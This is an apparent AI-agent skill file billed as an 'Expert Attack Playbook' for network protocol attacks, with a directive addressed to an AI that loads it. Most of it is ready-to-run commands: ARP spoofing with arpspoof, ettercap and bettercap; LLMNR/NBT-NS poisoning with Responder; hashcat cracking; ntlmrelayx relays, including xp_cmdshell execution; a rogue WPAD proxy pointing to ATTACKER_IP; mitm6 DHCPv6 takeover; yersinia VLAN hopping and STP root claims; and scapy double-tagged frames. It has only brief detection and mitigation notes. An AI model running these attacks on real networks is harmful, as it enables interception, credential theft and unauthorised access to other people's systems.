/network-protocol-attacks

name: network-protocol-attacks
description: >-
  Network protocol attack playbook. Use when exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.

SKILL: Network Protocol Attacks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

0. RELATED ROUTING

Before going deep, consider loading:

• [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after establishing MitM position for traffic redirection
• [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relaying captured NTLM hashes from poisoning attacks
• [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered during network attacks
• [traffic-analysis-pcap](../traffic-analysis-pcap/SKILL.md) for analyzing captured traffic from MitM

Advanced Reference

Also load [NAME_RESOLUTION_POISONING.md](./NAME_RESOLUTION_POISONING.md) when you need:

• Detailed Responder/mitm6 configuration and workflows
• NTLM relay target selection and chaining
• Credential format analysis and cracking priorities

---

1. ARP SPOOFING

Gratuitous ARP — MitM Positioning

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

Selective Targeting

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

Detection Indicators

• Duplicate MAC addresses in ARP table
• Gratuitous ARP storms from non-gateway IPs
• Tools: `arpwatch`, static ARP entries, 802.1X port authentication

---

2. LLMNR / NBT-NS / mDNS POISONING

Responder — Credential Capture

# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

Captured Hash Formats

| Protocol | Hash Type | Hashcat Mode | Crackability | |---|---|---|---| | NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable | | NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules | | NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 |

# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

Relay Instead of Crack

# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

---

3. WPAD ABUSE

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

Manual WPAD PAC File

// Rogue wpad.dat content
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}

---

4. DHCPv6 ATTACK — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

Key Conditions

• SMB signing disabled on targets (for SMB relay)
• LDAP signing not enforced on DC (for LDAP relay)
• Domain Computers quota > 0 (for machine account creation, default: 10)

---

5. VLAN HOPPING

Switch Spoofing (DTP)

# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

Double Tagging (802.1Q)

# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)

Mitigation

• Disable DTP: `switchport nonegotiate`
• Set native VLAN to unused: `switchport trunk native vlan 999`
• Prune VLANs: only allow needed VLANs on trunk ports

---

6. STP MANIPULATION

Root Bridge Claim

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

Topology Change Attack

# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic